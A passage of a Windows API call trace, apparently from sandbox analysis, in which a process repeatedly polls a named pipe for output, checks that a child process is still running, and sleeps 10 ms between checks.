lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.816] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.816] Sleep (dwMilliseconds=0xa) [0188.945] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0188.945] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0188.945] Sleep (dwMilliseconds=0xa) [0189.573] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0189.573] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0189.573] Sleep (dwMilliseconds=0xa) [0189.640] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0189.640] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0189.640] Sleep (dwMilliseconds=0xa) [0189.695] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0189.695] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0189.695] Sleep (dwMilliseconds=0xa) [0189.782] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0189.783] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0189.783] Sleep (dwMilliseconds=0xa) [0189.854] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0189.854] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0189.854] Sleep (dwMilliseconds=0xa) [0189.969] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0189.969] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0189.969] Sleep (dwMilliseconds=0xa) [0190.067] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0190.067] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0190.067] Sleep (dwMilliseconds=0xa) [0190.149] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0190.150] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0190.150] Sleep (dwMilliseconds=0xa) [0190.262] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0190.262] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0190.262] Sleep (dwMilliseconds=0xa) [0190.586] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0190.587] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0190.587] Sleep (dwMilliseconds=0xa) [0191.022] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0191.022] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0191.022] Sleep (dwMilliseconds=0xa) [0194.009] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0194.010] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0194.010] Sleep (dwMilliseconds=0xa) [0196.101] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0196.101] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0196.101] Sleep (dwMilliseconds=0xa) [0197.040] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0197.040] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0197.041] Sleep (dwMilliseconds=0xa) [0197.387] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0197.387] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0197.387] Sleep (dwMilliseconds=0xa) [0198.862] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0198.862] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0198.862] Sleep (dwMilliseconds=0xa) [0198.939] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0198.940] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0198.940] Sleep (dwMilliseconds=0xa) [0199.048] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0199.049] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0199.049] Sleep (dwMilliseconds=0xa) [0199.386] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0199.386] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0199.386] Sleep (dwMilliseconds=0xa) [0200.090] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.091] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.091] Sleep (dwMilliseconds=0xa) [0200.148] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.148] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.148] Sleep (dwMilliseconds=0xa) [0200.195] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.196] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.196] Sleep (dwMilliseconds=0xa) [0200.205] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.205] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.205] Sleep (dwMilliseconds=0xa) [0200.294] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.294] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.295] Sleep (dwMilliseconds=0xa) [0200.310] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.310] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.310] Sleep (dwMilliseconds=0xa) [0200.313] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.313] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.313] Sleep (dwMilliseconds=0xa) [0200.362] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.362] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.362] Sleep (dwMilliseconds=0xa) [0200.557] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.557] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.557] Sleep (dwMilliseconds=0xa) [0200.608] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.608] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.608] Sleep (dwMilliseconds=0xa) [0200.645] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.645] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.645] Sleep (dwMilliseconds=0xa) [0200.660] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.660] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.660] Sleep (dwMilliseconds=0xa) [0200.670] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.670] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.670] Sleep (dwMilliseconds=0xa) [0200.691] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.691] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.691] Sleep (dwMilliseconds=0xa) [0200.702] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.702] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.702] Sleep (dwMilliseconds=0xa) [0200.721] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.721] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.722] Sleep (dwMilliseconds=0xa) [0200.733] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.733] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.733] Sleep (dwMilliseconds=0xa) [0200.749] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.749] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.750] Sleep (dwMilliseconds=0xa) [0200.764] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.764] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.764] Sleep (dwMilliseconds=0xa) [0200.781] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.781] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.781] Sleep (dwMilliseconds=0xa) [0200.810] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0200.810] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0200.811] Sleep (dwMilliseconds=0xa) [0201.037] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0201.037] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0201.037] Sleep (dwMilliseconds=0xa) [0201.056] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0201.056] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0201.056] Sleep (dwMilliseconds=0xa) [0201.077] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0201.077] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0201.077] Sleep (dwMilliseconds=0xa) [0201.125] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0201.125] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0201.125] Sleep (dwMilliseconds=0xa) [0201.192] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0201.192] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0201.192] Sleep (dwMilliseconds=0xa) [0201.241] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0201.241] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0201.242] Sleep (dwMilliseconds=0xa) [0201.883] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0201.884] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0201.884] Sleep (dwMilliseconds=0xa) [0202.148] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0202.148] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0202.148] Sleep (dwMilliseconds=0xa) [0202.413] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0202.413] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0202.413] Sleep (dwMilliseconds=0xa) [0202.449] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0202.449] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0202.449] Sleep (dwMilliseconds=0xa) [0202.480] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0202.480] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0202.480] Sleep (dwMilliseconds=0xa) [0202.540] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, 